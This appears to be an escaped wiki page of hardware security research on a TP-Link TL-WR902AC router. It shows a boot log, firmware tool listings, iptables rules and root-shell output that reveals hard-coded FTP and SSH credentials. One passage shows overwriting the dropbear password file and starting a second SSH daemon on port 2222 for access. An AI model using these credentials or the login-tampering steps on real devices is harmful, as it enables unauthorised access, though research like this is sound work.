[ rsl_initEwanObj ] 298: Initialize EWAN, enable(1)!&lt;br /&gt;
[ rsl_setEwanObj ] 208: Get Ethernet&#039;s stack!&lt;br /&gt;
[ rsl_setEwanObj ] 262: enable ethernet interface now!&lt;br /&gt;
[ oal_ewan_enable ] 458: pEwan-&amp;gt;ifName(eth0.2)&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ rsl_setEwanObj ] 268: EWAN.ifname(eth0.2)!&lt;br /&gt;
[ wan_conn_wanIpConn_getConnectionInfo ] 906: GET MAC(74:DA:88:FC:C3:AF) successfully!&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 74:DA:88:FC:C3:AF up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:08] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:08] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 1020:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 22 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 22 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection(ewan_l2tp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection() is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection(ewan_pptp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection() is not enable.&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 1701 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
nf_nat_rtsp v0.6.21 loading&lt;br /&gt;
enable switch phyport...&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
[cmd_dutInit():1081] init shm&lt;br /&gt;
[tddp_taskEntry():151] tddp task start&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&lt;br /&gt;
[ util_execSystem ] 141:  prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
Generating key, this may take a while...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Live Analysis&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC: Firmware 170828&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Available tools&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;arping          dropbear        iwconfig        pppd            tdpd&lt;br /&gt;
ash             dropbearkey     iwlist          ps              tftp&lt;br /&gt;
ated_tp         dropbearmulti   iwpriv          pwdog           tmpd&lt;br /&gt;
bpalogin        dyndns          kill            radvd           top&lt;br /&gt;
brctl           ebtables        killall         reboot          traceroute&lt;br /&gt;
busybox         echo            login           reg             umount&lt;br /&gt;
cat             free            ls              ripd            upnpd&lt;br /&gt;
chat            getty           lsmod           rm              usb_modeswitch&lt;br /&gt;
chmod           halt            mii_mgr         rmmod           usbp&lt;br /&gt;
cli             handle_card     mii_mgr_cl45    route           ushare&lt;br /&gt;
cmxdns          hotplug         mkdir           rt2860apd       vconfig&lt;br /&gt;
config-mii.sh   httpd           mldProxy        rtinicapd       vsftpd&lt;br /&gt;
cos             ifconfig        modem_scan      scp             wanType&lt;br /&gt;
cp              igmpd           mount           sh              wlNetlinkTool&lt;br /&gt;
date            init            netstat         sleep           wscd&lt;br /&gt;
df              insmod          noipdns         smbcontrol      wscd_5G&lt;br /&gt;
dhcp6c          ip              ntfs-3g         smbd            xl2tpd&lt;br /&gt;
dhcp6s          ip6tables       ntpc            smbpasswd       xtables-multi&lt;br /&gt;
dhcpc           ipcrm           pidof           switch          zebra&lt;br /&gt;
dhcpd           ipcs            ping            taskset&lt;br /&gt;
diagTool        ipping          ping6           tc&lt;br /&gt;
dnsProxy        iptables        poweroff        tddp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Mounted filesystems&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type squashfs (ro,relatime)&lt;br /&gt;
proc on /proc type proc (rw,relatime)&lt;br /&gt;
ramfs on /var type ramfs (rw,relatime)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/sys on /sys type sysfs (rw,relatime)&lt;br /&gt;
usbfs on /proc/bus/usb type usbfs (rw,relatime)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /var/passwd&lt;br /&gt;
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh&lt;br /&gt;
dropbear:x:500:500:dropbear:/var/tmp/dropbear:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/:/bin/sh&lt;br /&gt;
guest:*:0:0:guest:/var/usbdisk/:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd_passwd&lt;br /&gt;
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$&lt;br /&gt;
&lt;br /&gt;
# cat /etc/vsftpd.conf&lt;br /&gt;
anonymous_enable=NO&lt;br /&gt;
local_enable=YES&lt;br /&gt;
write_enable=YES&lt;br /&gt;
connect_from_port_20=YES&lt;br /&gt;
ascii_upload_enable=YES&lt;br /&gt;
ascii_download_enable=YES&lt;br /&gt;
listen=YES&lt;br /&gt;
chroot_local_user=YES&lt;br /&gt;
max_clients=2&lt;br /&gt;
ftpd_banner=Welcome to TP-LINK FTP server&lt;br /&gt;
pasv_min_port=50000&lt;br /&gt;
pasv_max_port=60000&lt;br /&gt;
&lt;br /&gt;
# ls /var/tmp/dropbear/&lt;br /&gt;
dropbear_dss_host_key  dropbear_rsa_host_key  dropbearpwd&lt;br /&gt;
# cat /var/tmp/dropbear/dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3.    						&amp;lt;-- MD5(&amp;quot;admin&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Extracted from the Bootlog&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit rsa secret key to &#039;/var/tmp/dropbear/dropbear_rsa_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key&amp;quot;&lt;br /&gt;
# Will output 1024 bit dss secret key to &#039;/var/tmp/dropbear/dropbear_dss_host_key&#039;&lt;br /&gt;
# prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;It is also possible to add or change user credentials to work with SSH since the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory is writable. Also dropbear can run on multiple ports. In a similar manner, using &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt;, it is possible to modify the passwd file in the &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; directory.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;~ # cd /var/tmp/dropbear/&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:admin&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
/var/tmp/dropbear # cp dropbearpwd dropbearpwd.bak&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;username:test&amp;quot; &amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # echo &amp;quot;password:21232f297a57a5a743894a0e4a801fc3&amp;quot; &amp;gt;&amp;gt; dropbearpwd&lt;br /&gt;
/var/tmp/dropbear # cat dropbearpwd&lt;br /&gt;
username:test&lt;br /&gt;
password:21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
&lt;br /&gt;
# Start a new Dropbear instance&lt;br /&gt;
dropbear -p 2222 -r /var/tmp/dropbear/dropbear_rsa_host_key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Default IPtables&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /var/tmp/dconf/rc.router&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
#delete old rules&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#enable ip forward&lt;br /&gt;
echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
/etc/iptables-stop&lt;br /&gt;
&lt;br /&gt;
#set policy&lt;br /&gt;
iptables -P INPUT DROP&lt;br /&gt;
iptables -P FORWARD DROP&lt;br /&gt;
iptables -P OUTPUT ACCEPT&lt;br /&gt;
iptables -t nat -P PREROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P POSTROUTING ACCEPT&lt;br /&gt;
iptables -t nat -P OUTPUT ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -N CTL&lt;br /&gt;
iptables -N FORWARD_DMZ&lt;br /&gt;
iptables -N FORWARD_UPNP&lt;br /&gt;
iptables -N FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -N FORWARD_PT&lt;br /&gt;
iptables -N FORWARD_VS&lt;br /&gt;
iptables -N FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -N PARENTCTL&lt;br /&gt;
iptables -N PCRULE&lt;br /&gt;
iptables -N PCDROP&lt;br /&gt;
iptables -N FIREWALL&lt;br /&gt;
iptables -N FIREWALL_DDOS&lt;br /&gt;
iptables -N FWRULE&lt;br /&gt;
iptables -N FWD_MARK_LAN&lt;br /&gt;
iptables -N FWD_MARK_WAN&lt;br /&gt;
iptables -N OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -N BRIDGE_ISOLATION&lt;br /&gt;
iptables -t nat -N PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -N PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N PREROUTING_PT&lt;br /&gt;
iptables -t nat -N PREROUTING_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -N NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -N POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -I OUTPUT -j OUTPUT_MARK_LOCAL&lt;br /&gt;
iptables -t filter -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -j CTL&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_VS&lt;br /&gt;
iptables -A FORWARD -j FORWARD_PT&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP_SECCONN&lt;br /&gt;
iptables -A FORWARD ! -i br+ -j FORWARD_DMZ&lt;br /&gt;
iptables -A FORWARD -j FORWARD_VPN_PASSTHROUGH&lt;br /&gt;
iptables -t nat -A PREROUTING ! -i br+ -d 255.255.255.255 -p udp --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_VS&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_PT&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_VS&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_UPNP&lt;br /&gt;
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN&lt;br /&gt;
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ&lt;br /&gt;
iptables -t nat -A PREROUTING -j PREROUTING_DMZ&lt;br /&gt;
&lt;br /&gt;
iptables -t filter -A FORWARD -i br+ -j ACCEPT&lt;br /&gt;
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -i lo -p ALL -j ACCEPT              -m comment --comment &amp;quot;loop back&amp;quot;&lt;br /&gt;
iptables -t filter -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
iptables -t filter -A INPUT -d 224.0.0.0/4 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp ! -i br+ --sport 67 --dport 68 -j ACCEPT&lt;br /&gt;
iptables -A INPUT -p udp --dport 161 -j ACCEPT&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# iptables -nvL&lt;br /&gt;
Chain INPUT (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
   12  4449 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0            /* loop back */&lt;br /&gt;
 2316  206K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
   26  4240 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
    0     0 ACCEPT     udp  --  !br+   *       0.0.0.0/0            0.0.0.0/0            udp spt:67 dpt:68&lt;br /&gt;
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0            udp dpt:161&lt;br /&gt;
  216 14556 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD (policy DROP 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 ACCEPT     all  --  *      br+     0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 CTL        all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED&lt;br /&gt;
    0     0 FORWARD_VS  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_PT  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_UPNP_SECCONN  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_DMZ  all  --  !br+   *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 FORWARD_VPN_PASSTHROUGH  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  br+    *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
    0     0 ACCEPT     all  --  *      *       0.0.0.0/0            224.0.0.0/4&lt;br /&gt;
&lt;br /&gt;
